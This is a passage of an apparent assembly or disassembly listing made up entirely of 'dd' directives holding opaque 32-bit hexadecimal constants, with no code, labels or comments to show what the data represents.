7BFB7713h, 1FB64AA0h, 9832BF02h, 0BAD57EA0h, 55357F80h dd 0E3C40125h, 0CD76053Bh, 919D8B02h, 986C121Ch, 9CC92F00h dd 0B574FCA1h, 3A730044h, 64EBF52Dh, 0A501486Dh, 9618725Ah dd 22605060h, 59C22EE4h, 27BA60E1h, 7D00D66Fh, 86C0EAD8h dd 0B5959ADEh, 96F9F1E0h, 742B7B5h, 0A08CEC0Fh, 0F6500DEBh dd 1BB39B14h, 29DBD7C6h, 34D1B3C2h, 0BF605D56h, 561AFA30h dd 5016CA75h, 0D712E857h, 0A2ED12EAh, 0B69B4E35h, 0F2F49C87h dd 9770348Ch, 66F04B25h, 0A9F84B55h, 8C17AC0Ah, 2D52320Bh dd 8684575Dh, 38A0122Fh, 45952F09h, 50259E5Ah, 0C2314D20h dd 385F8AB8h, 25BD2941h, 38732CA5h, 0AF25C5A8h, 1E4266E7h dd 574D381h, 0FF6A331Eh, 80DE6D9Bh, 2EF02795h, 0E3121258h dd 7BB8F694h, 1670154Eh, 0EC2DAD4Ah, 0F9764B42h, 6D24D774h dd 0E01CC0FAh, 0C9004AE5h, 741C27A1h, 0B679795h, 0D88B070Bh dd 0FC49F5D9h, 302D4F5h, 0D62682E6h, 0A6667FB6h, 7AEB810Fh dd 0D94C6976h, 0BEDB81D4h, 2FCCA76Ah, 0FA69DD20h, 44090361h dd 0B9DED757h, 0CDD372A0h, 4AAD5F5Dh, 1BAC12B9h, 0F948008Ch dd 0A14FA3A2h, 6DB5EA2Dh, 60176499h, 4A543B39h, 355FCAF7h dd 0DBEE2648h, 51FCC05Eh, 5624BFDh, 29467A25h, 0C8835350h dd 773C5FDDh, 239000BDh, 60FF20C7h, 0D17F00AEh, 3076C568h dd 0B06BE0Ah, 1B3D8D89h, 0DA5B4B9Ch, 0C31AC8B8h, 0DA908D1Ch dd 0BE4DAC92h, 879F1213h, 0E72B98B5h, 0E08CA371h, 25DC95E7h dd 0CC6C790Ch, 2142E5ECh, 8BD1A131h, 99E32FBDh, 49A4984Ah dd 0A5625B9Ch, 8E3DD703h, 0B920B100h, 38A116F1h, 0E35FC6F6h dd 7E6700CDh, 0A84729E7h, 93AF2CC2h, 16710867h, 8B085B12h dd 0F98A8902h, 0F37ACE56h, 3667512Dh, 36E91602h, 2746DEACh dd 0BA764FB0h, 0CDFE8074h, 854A1D90h, 0CBFCE8C8h, 4B29FD12h dd 42F6957Fh, 9482B055h, 770B2BC5h, 5B90630Bh, 0FB008C79h dd 9F820977h, 0FC0C2CC9h, 8E3800EFh, 24CBB0BBh, 7596310Fh dd 0C14A4227h, 0AF140829h, 5F615898h, 0A0B42090h, 1A0EEE9Ch dd 40B532D6h, 4BFA1BD2h, 0A407B691h, 0FE962FCh, 3F007327h dd 0D5A45Ah, 0C7ABBD20h, 0DDE9C3F8h, 0B3A0665Bh, 169A0E18h dd 69E43106h, 30B3AB07h, 80DAE9F5h, 0EC61E7C6h, 2F7B7D1Eh dd 124690EDh, 23C14100h, 0B23EE046h, 42C83D9Bh, 0D5800D3Bh dd 91C95AC2h, 504A5BE9h, 5106E996h, 6E7F87F3h, 82913D07h dd 0D5DE5B9Fh, 0F4DA5C62h, 510F558h, 5457773Ah, 3B6E21ABh dd 4C296ADBh, 0B2606492h, 41E10B47h, 61D90432h, 0BBC71BB8h dd 79FE5217h, 0B360195Ch, 90D1FFF8h, 1DA52760h, 0D772B154h dd 2CD6CA4Ah, 689E02DCh, 0BB63BDA8h, 7A496657h, 92D14B2Bh dd 0B5302BCh, 52A13270h, 0DF34E33Ah, 0A1B2AB07h, 27ACE549h dd 9909BD90h, 7F138F96h, 3776FF09h, 1746D6h, 0C69E7368h dd 5D9D0BFCh, 0E91276BDh, 0E1F7AC57h, 0C0049A22h, 5B84DB25h dd 0AD71BBEAh, 8ABC9895h, 0C8505AFCh, 0F3009EE0h, 0BAB2974Ah dd 24E33704h, 2CF8146Bh, 0ED6C6034h, 18255B11h, 0BC6CF15Fh dd 957AAFCAh, 105923Ah, 0AB10198Dh, 0E76DE429h, 9700E2B8h dd 4921751Ah, 957AB3FDh, 6D5FE39Ah, 0AF82E0B5h, 580A98D3h dd 598529CCh, 3E9D010Eh, 790F7365h, 0B2181Bh, 0A94EEF18h dd 29F07499h, 14F59D18h, 9D0BFF53h, 0EA265EF9h, 572DB90Bh dd 0F0007BDh, 80AB5D4Fh, 172A5EDBh, 0B6EA12FEh, 878A7910h dd 907B093h, 560469EFh, 6054AEF5h, 19A99589h, 0C9655C95h dd 60A50771h, 9FFBB714h, 0B9339287h, 0DC641372h, 12B8FC31h dd 0AFAA75Bh, 394580EFh, 1549B561h, 2ACE66Eh, 7D362CBFh dd 8AB7C352h, 64C7F0E8h, 8229B9B5h, 58090ECEh, 36689017h dd 6A13116Dh, 2B770A0Bh, 0D17A84C8h, 8527A580h, 97DAA4E9h dd 8B4DD610h, 7F6C7A00h, 59B350Fh, 0B00400CDh, 60EA781Ah dd 85BDA2E3h, 0A0C25BC5h, 0F791A959h, 0AA053B04h, 0A02AC29Dh dd 99952802h, 834C11DDh, 0B8F40BF3h, 0E4E445E9h, 2D7C589Dh dd 0F95C33ABh, 55B5363h, 7FF2C830h, 3429AE24h, 403CB33Fh dd 8328DACBh, 0FE1820A5h, 9DE0CF80h, 0D9F9BFE5h, 9E926120h dd 0C1C83095h, 0B6165E17h, 0B412F072h, 9D0501EBh, 4F3929B1h dd 44116B67h, 0B4BD4A88h, 0F618C4E9h, 7B1D301h, 7367CF9Bh dd 0F8E8302Bh, 84B35B9h, 3BE823A9h, 8D84660Fh, 16D0E474h dd 84ED4E83h, 608706B8h, 4445A529h, 0AA8D03FAh, 0FF61D9A0h dd 34B8C96Dh, 5CCB0800h, 70429180h, 0DFC9501h, 5FC2B871h dd 0E081E4BDh, 0BD095E48h, 16A7A82Eh, 0EE8D22Bh, 4B47DB4Ah dd 7304076Ah, 0ABAC27B1h, 9C84D663h, 659D8941h, 2A662E03h dd 0D385792Eh, 0C8AE9A16h, 10B2C719h, 62D159C7h, 0C009CE96h dd 0AD097347h, 0C912EBB5h, 1B8010BCh, 3395788Bh, 0A6685C05h dd 0A904FF42h, 14B8B64Dh, 1D23BBh, 0C4A1D45Bh, 0A301A059h dd 2B50ED45h, 9850A59Dh, 4ABD8957h, 2B5EE181h, 9FB8212Ch dd 54641DCFh, 2DD522C1h, 31E79904h, 0A8A57E71h, 935364AFh dd 98E32BD8h, 0B5F77CDBh, 0B59E34CEh, 4A7B09D4h, 0A5DC878Fh dd 816FE1C5h, 2360F302h, 0D4640585h, 11278497h, 60615E00h dd 6E16C880h, 5EBFB523h, 0B4C5E5B9h, 0FF7ABE1Ah, 46E081CDh dd 256558A7h, 7456F841h, 2544C0D2h, 74599515h, 0F7ED5F52h dd 3F6F4640h, 25B73960h, 14BE6680h, 0A7CC805Dh, 3FBC6171h dd 0DCCEEB41h, 0E1C1EECh, 846FBDDh, 9B604F84h, 8A42C0F0h dd 4EBC8467h, 99E08E6h, 6C7B1A28h, 5DE70997h, 33C199EDh dd 58885EEDh, 0C2252315h, 7089530Ah, 0D709B183h, 0FC90FEC8h dd 3088C458h, 9721DDB5h, 75403799h, 0CE911BDEh, 0CAF92160h dd 89701E63h, 5FF6123Eh, 5B2AE773h, 0DD00F96Ah, 0C48A615Dh dd 0F3011248h, 5A3BB9Eh, 342F20B9h, 80C7EC84h, 0DC77F89Bh dd 58E517BEh, 28D88D50h, 9C9B4F42h, 51900680h, 0C01EAAA9h dd 98AB746h, 5549A495h, 2DE021CDh, 174A383Bh, 58922Eh dd 688B17CEh, 0AE2740BEh, 6FC0118Ch, 0B07BA820h, 41C8C032h dd 0BB7370C3h, 0B1854909h, 0A7AE5B77h, 0A85009D3h, 4470B55Bh dd 0FC93B6h, 28637CD7h, 151CD69Ch, 6A87BE4Fh, 0C0BCDFC4h dd 42EDA55Bh, 90B01DCh, 0AD9D710Fh, 2F3495C1h, 70239772h dd 721497EFh, 0FFC0F698h, 0B127C381h, 0E6285AAFh, 3016B2ADh dd 491DA113h, 10ED0689h, 0BC924Dh, 0DB904F4h, 58949DA6h dd 22F9C81Dh, 5C5F7749h, 0BCDAC42Ch, 0BF530188h, 0FA67880h dd 1556C07Ah, 0E2BF1639h, 0F4D5522h, 13CAEE0h, 6BA302DEh dd 0FC69DF80h, 8B67875Eh, 0C8B468A3h, 0C3815D62h, 7DB64B6Ah dd 716EAEBCh, 9010C800h dd 0DFDE857Bh, 81512A00h, 67FCF5F3h, 805B0527h, 0AF8DAED3h dd 4C80BD64h, 0E95026B3h, 74C2A635h, 5C7EEBE6h, 9183D08h dd 0BC71615Fh, 1DE2076Bh, 0C7D65979h, 3D5F092Ch, 9972028Eh dd 5950A0AFh, 9020E925h, 4B73E3AAh, 0B9A08EFFh, 0BDDFC097h dd 972B8EFh, 0B09ED5E2h, 0BF93985Fh, 9631383Bh, 34A38A4Bh dd 0C72C63BCh, 9E6FFBAFh, 2A0F80A0h, 161BE467h, 0ADF82084h dd 1AA9C47Dh, 9D2B0B12h, 0FEB59EC9h, 8BEF3DFFh, 7EF66058h dd 0E2B86601h, 8AE16147h, 0C08DFD2Eh, 554B9EDEh, 0C616253Ch dd 9D04195Bh, 1E1321BDh, 40031145h, 0F992FACDh, 10710DBBh dd 4A4E1660h, 0C4D3AD9Ch, 2DAA19A5h, 0D0DA3BC5h, 8F663483h dd 59A9AD46h, 0E4BFBC76h, 8DC24BE6h, 4E63E99h, 15DD2D7Ch dd 3569E859h, 5F5685DAh, 0BAC112C4h, 1A84185h, 9A4300AAh dd 4986C5B8h, 41B1364h, 88378D60h, 90DD9DAh, 0B170F861h dd 9D29561Ch, 52AD416Ch, 6CBDE6EFh, 0A9A6EF79h, 0CCB2345Ah dd 80DB9AD2h, 793EC9B1h, 0D75F05DFh, 0EC664D96h, 0B8CD4A1Dh dd 99EDEC2Eh, 4B226A1Ch, 0B247F64Fh, 0F8E83117h, 0E09DFAB0h dd 0A171143Fh, 0A1006E0h, 7EFE84A5h, 1DD41C58h, 1009EB5Ch dd 208D735Bh, 19C5209Bh, 0B289964Bh, 7A93F0h, 7D0B75A4h dd 670699BBh, 26EEF004h, 0F052540Ah, 0A22EAC4Dh, 0D5121996h dd 6B2B9CA1h, 17236Ah, 9549894Ah, 215B9D2Bh, 0D1F6BB17h dd 0AC3015B2h, 6A1497F1h, 0F03A3645h, 5682016Bh, 0ADCDA74Ch dd 47BB93C0h, 13B40A9Ah, 28D9CB01h, 1DB52540h, 0D12558C5h dd 0A1B7005Ch, 4A42B345h, 0B4D44000h, 987D16E5h, 0BB7925D2h dd 0BF0546C6h, 2257D4D8h, 85222AAEh, 0C1F07B0Dh, 443897D9h dd 0AF872DDDh, 37A590DEh, 0B2D023Bh, 9FF48DD5h, 0AB675B49h dd 93A558CBh, 9FBE3600h, 0CF081855h, 0DD8A28EAh, 0C95164BEh dd 45CD88C6h, 5B3204Ah, 0DA31BAD7h, 0A2C69D0Bh, 55FEE9BBh dd 104D0B8Bh, 56D165C0h, 78390028h, 80B49083h, 0C4975AE3h dd 12C400CBh, 0A385FEB7h, 0A04AD618h, 5E546FEEh, 720B77F9h dd 0E7D88BB4h, 739D094Bh, 0B59366F2h, 42700C4h, 903724h dd 160F0AA3h, 6A4BE8A7h, 74BC04B9h, 8B6A7309h, 40FC6FDEh dd 9618636Ch, 2F9F3817h, 820FD405h, 7E68AAFh, 3F9C1FC6h dd 22B40B40h, 0D4ED0E41h, 0AB059F03h, 0E6C1AF58h, 5B021CA9h dd 846A9F87h, 8E6FBB16h, 2151D800h, 0EB168CDh, 81ADBC5Eh dd 4BB521Eh, 0FE120716h, 0B705FA82h, 39F19DA0h, 50C5B785h dd 8089AC52h, 5940A54Eh, 544312F4h, 41BB53Fh, 8031018Dh dd 696A4CC7h, 9B6BC65h, 513C5E6Eh, 52684E1h, 0B95E09ECh dd 1A2BCC7h, 0AC48AEF3h, 7EDA354Ch, 8123D0E0h, 96322EF9h dd 69925CFCh, 0C4002DD1h, 0DB40177Fh, 4F743E8Eh, 775CF2A5h dd 3A9AB500h, 97ED5A6Eh, 0C5FB4204h, 1247F8D2h, 0ADE31129h dd 2424F88h, 0CC027F60h, 610219D1h, 3BA8C650h, 0FA8187DAh dd 0D3DCBA1Ah, 8CCAF837h, 4EDFE200h, 9389BFD9h, 0B93F4AB7h dd 16EBF8A0h, 6046B3FCh, 0F28E9F2h, 48521697h, 0DF5D6274h dd 95CA5BCh, 801D20FDh, 95346DF5h, 3BA4305Bh, 50257511h dd 990388E4h, 2A10C2FBh, 0AC91A082h, 0FD6362C7h, 0A1C2BF66h dd 46DC4256h, 3D0C001Bh, 7CB7A0ADh, 0DC1C7A43h, 5F17495Eh dd 31024773h, 5C0E61B5h, 0F9BA5320h, 2D46F889h, 13BCFB58h dd 7AAB2D69h, 0D476034Dh, 8C15BDD2h, 0A01D31C2h, 0DE8A6094h dd 0FEB19561h, 0B0FC110Ch, 7A60993Ah, 832A21B0h, 19814810h dd 8870E612h, 5578670Ah, 0F28C3A00h, 0ED2094BBh, 0C0F89746h dd 0F812BF04h, 0FFAD4039h, 9971D525h, 551DA8Bh, 0F74BD9A3h dd 41F55459h, 0CCC3ABBh, 0DC5B4C51h, 0B125C4Ch, 2FCAE5BDh dd 950D6EC6h, 60560389h, 50FA4025h, 0C82B2D5Fh, 1266B250h dd 0D710D133h, 9B9ABD36h, 0D649E54Ch, 4B8F5689h, 19012206h dd 0A7E67197h, 2515F1F9h, 55038994h, 18B12CB0h, 0BCF59B95h dd 0B4DE947h, 32C7C356h, 0A270FF57h, 17757FF2h, 0AB0B9FF4h dd 37AA5217h, 81F9641Ah, 2B7D613Ah, 0FCB3FA17h, 517CFC49h dd 0E0DE18A5h, 0CA14E539h, 316995A9h, 89D4BA46h, 553481FEh dd 0F2162C94h, 8FE61621h, 8D879F2h, 2B540541h, 0B95A62ECh dd 5C61E855h, 0E1C06F6Eh, 0D2C6A41Dh, 0DDCB471Ch, 0D6525625h dd 0B10B1746h, 64029B83h, 0E0AEB98Dh, 0F786BE92h, 2D392D16h dd 0D32F325Bh, 0EBB650E0h, 9E04D3FAh, 0FC697245h, 0CBE470E6h dd 6DBB013Ah, 0B859463Bh, 3345C2h, 0E49E6129h, 7C0744A0h dd 9189E25Eh, 57CDD9B2h, 50E9604h, 0D79BD22Bh, 9DCEDAC0h dd 9728D0Ch, 512CC536h, 0B61E5A5Ch, 0D088D311h, 79B3026Ah dd 0D17227Ah, 0DB708CF3h, 0D87E5076h, 442F5F21h, 0B877ABFFh dd 8052802Bh, 9E5B0BD7h, 0DEDCE935h, 0C63400D4h, 90C49262h dd 0BD71290Fh, 44056FB5h, 7AD86019h, 730C0BBBh, 8202F502h dd 59290D2Dh, 0B5557225h, 0E9DA0A9Ah, 15DF0B09h, 0BB807204h dd 22727020h, 78A9019Fh, 0F88B9B93h, 0F2FD66C7h, 4067D46Fh dd 0CDA7A149h, 2E789E00h, 69EFC990h, 0A07F3FB7h, 3B040E09h dd 0EA4B5A71h, 0E09C6D18h, 0F5395FA1h, 59982DE6h, 0B896A495h dd 0B3F82DF9h, 9BDDE03h, 0C0813CE8h, 1285DF30h, 0E3FE8B46h dd 15094E5Bh, 0AD3C712Dh, 2101FF35h, 628077ACh, 97DE0260h dd 0E9202814h, 25029804h, 68562C85h, 26A7F171h, 16DEACD6h dd 0FF5FF120h, 2AAC6A24h, 6F558BA2h, 0A09B60CDh, 89122B95h dd 51308608h, 0E8C1C9Fh, 5352B0ACh, 0A1B4E0C0h, 0C4001B24h dd 0D30466BBh, 1760109Fh, 528DBD31h, 3A04B109h, 75013A6Eh dd 7818E57Eh, 52D57E98h, 4EAE37E0h, 0AC5884B6h, 2AB2D30Fh dd 7CF47407h, 2A9BA06Eh, 7100B77Bh, 0BAB8D9FAh, 0F5BC67F2h dd 8474F23Ah, 0C8AA652Fh, 58AB898h, 6BABDBF6h, 17235Bh dd 0D96B3666h, 0FD4AC780h, 8941D4CDh, 90001DF5h, 50385360h dd 0A5A2CF58h, 0EAC17A12h, 7C787D8h, 0C08A452Eh, 0CC1372E6h dd 5B6333DCh, 2140C561h, 7E9E9B18h, 3573D8h, 1E9CF0A5h dd 3812D7EBh, 6846DB0Bh, 67CCFEE0h, 4174C0F5h, 0F8002DCFh dd 0B9C6DD09h, 97905B2Fh, 8FC0704Dh, 0FD7110h, 8F0F12Bh dd 0EB81FB57h, 2F65780Dh, 86015651h, 0CE2A12C1h, 60035A38h dd 5C8BA177h, 2B839763h, 0ACC199F5h, 4F77336Ch, 33C021A3h dd 412BADB6h, 8B5F5413h, 0AF3C1CBBh, 0FE004DD9h, 0EFA4240Ch dd 80341C5Ah, 44FA7779h, 0FF01FF63h, 6159BBB1h, 204B1B32h dd 6DE5D5DAh, 0BDA13F04h, 2DC2A6E2h, 0E5CAF595h, 46D64956h dd 0E76C0218h, 0D8D1D577h, 0B21F5A53h, 57ADD2D4h, 695B77A8h dd 0B5EA88h, 0A9CE6E66h, 8E59BA19h, 2872CA00h, 5ACF78F5h dd 42F2494h, 5B1711A4h, 0DB00A2B2h, 6BC0E5B6h, 42003373h dd 6C491ECAh, 2BF6674h, 0E95B7694h, 1155019Ch, 0DD6A2132h dd 0B06E7ADAh, 0C082F000h, 0B7341FAEh, 12FF604Ch, 31BD1A75h dd 258C15BCh, 0B1CC51BCh, 0E3A9BD4Fh, 0B2D9A65Ah, 75F5301Dh dd 0EC68F200h, 4D63CF57h, 6892DD1h, 0B6D60E56h, 3F6AC272h dd 5AE8F663h, 5C2FB8DBh, 1D6451h, 57A32A73h, 6AD6022Ch dd 77D48F50h, 7AE0C54Ah, 0A4A99D8Dh, 720009C4h, 20BB1EACh dd 4841723h, 89D5E16Ch, 0F8869846h, 0D8F65F00h, 0E11F813Dh dd 0DA8B2796h, 6B8FEB03h, 0E0B760C3h, 6168ACC8h, 5A2D5BB5h dd 500D46Eh, 21E4A52Ah dd 1638F68h, 78BF5B0Bh, 2E7C6082h, 0CF70F40Eh, 8B449E14h dd 44EA319Dh, 0ABC2BFF1h, 0DD417699h, 50021B51h, 0F652987Fh dd 0ECFABDh, 2BAFAAEEh, 0CB71D67Bh, 5372D704h, 0FC4F9B7h dd 488B91E4h, 0DAA4FDDEh, 0D79FC0CFh, 13FEB5D6h, 6F61E9FBh dd 68D301C5h, 1103C687h, 3BF217C4h, 8D8C6042h, 819E0A2Dh dd 0BEAD139h, 56613B56h, 36DB7AC0h, 73E49550h, 27A22551h dd 2E168AC5h, 0CBCBDCEDh, 9D9E6700h, 0E2010A1Ch, 5BD465BDh dd 0A92A1DFDh, 2CE916F6h, 852A6EA2h, 8B0F2DB1h, 4B2580CCh dd 5C53E7E7h, 180973B0h, 556872CEh, 891CF9C4h, 592DC5BDh dd 4DBC27Dh, 40746F75h, 0A5B52950h, 102A1E41h, 0A9B3D27Ch dd 7ED645Eh, 0B600F3BCh, 0C53CD26Dh, 25A5CE12h, 0AF6D5B56h dd 4F601864h, 6625C13Ah, 0A73A7BF2h, 0F752B6FBh, 0FB5FCDCCh dd 1E4238h, 0DB6B2868h, 0B56CB88Bh, 0E7CC4C09h, 8A89DD17h dd 6F950E70h, 5E546BC1h, 0A7757325h, 4D4967Eh, 0A5E6ECE9h dd 2517A8A8h, 799662FBh, 0E89000CFh, 8C82846Dh, 0F0735A0Fh dd 5C20CB3Ah, 1D46D692h, 38511100h, 3FAE2010h, 0FE30B82Dh dd 1FCD0893h, 4BEAF02Dh, 5ECECB17h, 0D000D36Ah, 80A04096h dd 0B8023635h, 758D31F1h, 0E6807410h, 89B77801h, 0BDB55568h dd 0E180D5A3h, 0B1BB7E8Bh, 6063134Dh, 4BC9B850h, 0BBE9D984h dd 3013DCECh, 9FDDB1F0h, 0E06A2Ah, 9F4B78B1h, 250B5218h dd 0C5E291C0h, 2FF87A61h, 0EA6FC012h, 849D9601h, 3AE00B32h dd 0F9C958ECh, 0EDABDD7Bh, 0F1B458h, 608FEE8Bh, 5F080EBFh dd 10224548h, 613B2B19h, 0FEE2D5CBh, 8FC0089Bh, 346C0959h dd 5F5C822Eh, 36D5CA60h, 51330B18h, 4F54548Ah, 7D71BDC2h dd 0B0D74C6Ah, 0B9810F29h, 8E2D3BAEh, 0F4CB01F6h, 0F9211329h dd 0DA1ED83Bh, 75BF0496h, 0FF017FA7h, 22068Ch, 0B33EC3D7h dd 0EA2A080Dh, 0E6DE3A01h, 964B0A77h, 0EAF2FB36h, 2830E65Dh dd 256A9D33h, 0ED3F1B3h, 0FF181B59h, 859C0D01h, 964DC6A9h dd 0F0B313Ah, 0D9B54983h, 251D238Dh, 12FCE5D9h, 4070FF16h dd 9A7993h, 0CB3606B6h, 0B45C3F72h, 70B35012h, 0F9D6D7BCh dd 1206EC0Bh, 0F3B07F47h, 0F0E656E6h, 9F8087Bh, 13DB805Ah dd 4D2452F4h, 55025CA7h, 74AE4E12h, 0F76AAE6Fh, 48CBB40Eh dd 6F82B980h, 0AF9C1A7Bh, 43B0E74Fh, 0C4768929h, 4FD2002Bh dd 5587CD06h, 19004710h, 3D3AE378h, 14AD59BBh, 0DEA54284h dd 5F5B8870h, 46982BA8h, 392DF4F0h, 5AF1546Ch, 8180D2F6h dd 8099F7C3h, 3B1A9D38h, 1311DFE0h, 0F22A8981h, 0C6611A5Bh dd 8490FD3Ah, 0A0036581h, 2D71E0FFh, 0CD2E103Ah, 515B1309h dd 457EC8h, 0BE553DC4h, 15DAB13Ch, 70AC4C04h, 3DAF5B4Bh dd 0FD6A3B99h, 0BA77160Fh, 0B8698056h, 9F48E990h, 890971B9h dd 7D1691B5h, 8FB47BE4h, 38800D4h, 27B2D233h, 0F84E8AF9h dd 9557238Ch, 905FB560h, 50AFB316h, 0AFDED7ACh, 0C8C0E3CDh dd 0A200594h, 0B75AD88Dh, 0EAED15D0h, 676FEB4Bh, 0DA6AE84Ah dd 6184F542h, 0ED0C1812h, 0E07E8323h, 5B16BA2Fh, 0AF6278CBh dd 3DDE3300h, 6D950977h, 9DE49528h, 90800495h, 0F558CCAFh dd 6BC76400h, 49701A38h, 6FC800BEh, 0A011B041h, 5012A1EBh dd 0FEAC5152h, 0ABD2354Fh, 8D298941h, 881A19D5h, 29C1CF17h dd 2F6A055Eh, 0DDF05FB6h, 0FB02A50Bh, 0E9D2FD4Eh, 0B4DF290Eh dd 0FA2D4ADFh, 0CADA1A32h, 60E85C70h, 2AE9B529h, 946EC6B5h dd 0F600D41Ch, 0AEFE9E1Bh, 50ADFA6Dh, 4B3DFCE7h, 22F5CE30h dd 82E79D79h, 0A18D31C0h, 92E69517h, 2559C693h, 16859C8Bh dd 28C6E96Ah, 5A1F5400h, 0D8560184h, 61FDFD9Dh, 0BF500280h dd 78AA0802h, 95019009h, 4414D7D1h, 7F870F2Ch, 0E0E2F6ADh dd 3316A769h, 5675E92Fh, 21937117h, 1EDB6A8Dh, 13C2E4C0h dd 0DB02C597h, 0E1BD019Dh, 89FB5422h, 9ADD3462h, 69295EA5h dd 0F127A874h, 0F0DC00C4h, 0A0E641CDh, 0DF9C6997h, 0D7C1BF10h dd 907D8113h, 0F68D7C98h, 0FE51B518h, 16E3D16Bh, 0E625EF23h dd 93CDDBBFh, 0D59AD8h, 0A2B8076h, 267DACA7h, 0C4B2DE9Dh dd 5D2AAFDFh, 0DD662280h, 1617CCCDh, 438CBE96h, 0FFA6003Fh dd 0F8407E56h, 0EE00ACA2h, 8C46B76Ah, 0B7BB25Eh, 2965B509h dd 0FFFE7EFAh, 0D620E950h, 13D8BC00h, 2B9BF3A5h, 3DDF0067h dd 62CFF00Eh, 3EB88401h, 5C311927h, 0AC00F49Ch, 31F78CB5h dd 9D72EA52h, 152B8331h, 0D4357883h, 5F3AB009h, 0D2CD0277h dd 7FC055E3h, 7148E4F9h, 78C9C09Bh, 132B87B3h, 0A4E694D3h dd 9A97FD7Ah, 0AD705ECAh, 6450650h, 0CE6AE03Eh, 0A12045B0h dd 2C50B528h, 0BB0E91h, 0AEEB67B7h, 1E4990h, 0CD4A818Eh dd 33359783h, 563F7C2Dh, 59958440h, 84F01211h, 0A4854A31h dd 0C85C2BF7h, 6A5C415Ch, 2EFD2304h, 340CAA16h, 9DD993F9h dd 23619519h, 65AB6D90h, 0EB657760h, 0B5BD0D89h, 7AD10D7h dd 33CF3480h, 0BFA2030Ch, 0A21389B3h, 8BA205ADh, 400CE8C4h dd 0EDDA9997h, 69D5015Fh, 0F246955Dh, 52E9E01Bh, 55FC25C9h dd 11952CC4h, 0F62F5205h, 6BFF00DFh, 5DEBCC90h, 5AF7052Fh dd 0AA2E29ECh, 0F4445DCAh, 51087EFEh, 5FE32DA5h, 8A99E8DAh dd 73277995h, 75BD04CCh, 0A1A2E809h, 8A003123h, 0BE06AFDh dd 0BFBF78BDh, 217D8232h, 0A6FC2B30h, 23636B3Ah, 0B62C001Bh dd 6264CA30h, 0F80C7872h, 0AD085FB9h, 0B0FED7FAh, 0B330DBF0h dd 0E6BF0C9Eh, 0D904B54Eh, 461D8B8h, 5F24728Bh, 2092FC4Eh dd 0D22B3B03h, 0CB99509h, 0F62EF7Bh, 4D97B18Ah, 498C52DEh dd 0D131C3Dh, 0D6949E88h, 58365EAh, 0BA045961h, 18C9EF9Bh dd 907784B0h, 88A07817h, 8D4B2DA8h, 0C32B2EEBh, 0A36DFC27h dd 78BCD4C4h, 532548A2h, 0D75FD60Ah, 5AE287C4h, 0AEDE8AC4h dd 0EFAD9574h, 8F00C5A8h, 0FEE006C8h, 5AFF8E78h, 0D214F8E1h dd 0A08F3AE2h, 0B7FD25BCh, 89C00065h, 0CE1A36C7h, 0E1251490h dd 0B5BE718h, 0F5D40587h, 10B209F4h, 5779837Ah, 4B592546h dd 0F04BD60h, 1361F8BFh, 20B927A9h, 7107652Fh, 0BF2EB038h dd 3C8C6B51h, 9D30926Bh, 97F05857h, 32ED1B0Bh, 0CA7F41C0h dd 57FF2409h, 227508D6h, 4520C425h, 1972968Bh, 6BAA6BC4h dd 0B1523FEh, 8C180130h, 950E60ECh, 2975B66Bh, 0C4FF5672h dd 6D0F430Ch, 9580EF91h, 179DFE7Fh, 0EA53C9BCh, 30406A30h dd 4C2A7F54h, 0F1095182h, 478279A5h, 68DD434Bh, 4CB360D0h dd 29C0AA7Bh, 5CDD6FD4h, 615C27FCh, 0C74F44E7h, 2C1A73BFh dd 6F9012F1h, 0F81C0E20h, 2AA7D4FEh, 0FB9DA101h, 0C53AD0FEh dd 0C4985198h, 2AD3DB59h, 5B4B9C15h, 53343CCAh, 4ADEA3FEh dd 0BF5FE62Ch, 8A004666h, 0F00AFA78h, 3C12E0Bh, 8E9AA192h dd 0CEB01CC5h, 53259E25h, 4712545Fh, 87D4FB0Fh, 0F5339363h dd 0A82265EEh, 0C637DA40h, 0B63E00F6h, 0DD733DC2h, 8FE8E778h dd 3B271600h, 3C35668Ah, 0D9B79F58h, 0D984F202h, 606056D2h dd 315161BBh, 25B95F4Eh, 81D93093h, 90037ECBh, 9EE903C5h dd 0FDDB5B02h, 0F3854AC2h, 80C9DEBBh, 37823147h, 65C516A1h dd 5D7A046Ch, 0BDE3AF1Ch, 9C87AC4Ah, 1763400h, 1DABA50h dd 129C4440h, 20CC081Fh, 4C258075h, 0D6145C5Bh, 0EE4E1D46h dd 122E7229h, 0A37BEF19h, 215A2A0Eh, 0D15E9D00h, 9C10B9h dd 77023AC0h, 42BA9752h, 0E0500473h, 0C760046Eh, 0A5755817h dd 29ED18A0h, 23C98D17h dd 3294BF95h, 0AF3653BEh, 17232C6Bh, 5E2BE400h, 61B66097h dd 0D19DD472h, 4AE0421h, 0B90446C6h, 0A2B87Eh, 0E6D27F99h dd 96A9B5B3h, 22BDDF48h, 0F5B77802h, 0EE4E643Ch, 0A88E8220h dd 92D20053h, 0AB0F5514h, 0EE002329h, 5278E2BBh, 0B3965F1Dh dd 0D17D7A5Ah, 81CAA5FEh, 4C43CF5Fh, 700195D2h, 0B593D2FAh dd 0D1415009h, 393B3041h, 13EF02ADh, 0DEE066D6h, 3B7D8Bh dd 975F9F68h, 7555DA71h, 50665200h, 277632BBh, 6879BD1Ah dd 9458945h, 646B58DAh, 0A031FE4Bh, 0C23A6B44h, 0DD50E568h dd 594A739Dh, 4CF91815h, 0D8C0B095h, 0E3A87EEEh, 9D89EA16h dd 908042EEh, 96C4830Fh, 0B327FC90h, 0D85EA470h, 8A90ED58h dd 0B4BDD95Eh, 0D87E0CADh, 52FFC200h, 54C84DB8h, 61702CA2h dd 59F360AFh, 0BA79AE75h, 5C3C8125h, 1C46F692h, 4B2D0800h dd 116F1832h, 0BF306501h, 6D255416h, 4508282Fh, 136E3996h dd 2FF95591h, 0BBF6E902h, 0E75F6D25h, 0B58C3142h, 24D2306Ch dd 1609C05h, 0B9D5A19Dh, 2D53C2CCh, 0E47B615Ah, 0ABCF807Dh dd 6AE1DB69h, 8160F896h, 2FEAB9EBh, 9B417679h, 32E72A30h dd 828D52A0h, 0BF5DFB0Eh, 0DA2241EFh, 0FC305B02h, 8E014E6Dh dd 4AEB3A3Fh, 98A04EF7h, 309DEB1h, 760DADBDh, 82BA7161h dd 0D1852955h, 0EA9E540Eh, 0BCAC0B11h, 12C03457h, 0F8D9E380h dd 28FB17BBh, 5F746BABh, 4E00E8A7h, 1738DEF4h, 70788943h dd 0AAE2965Fh, 0C9800D3Ah, 71413E61h, 0CF4E50DCh, 0D94FDBB3h dd 75B7FCDBh, 16B9652h, 9B04F381h, 312F68AAh, 49DE8B92h dd 3C93356Eh, 0C1E65A28h, 0D93016B2h, 0A2234B78h, 45FA83Ah dd 0F88A5B4Ah, 0F5208460h, 10DFDEC2h, 14E41C4h, 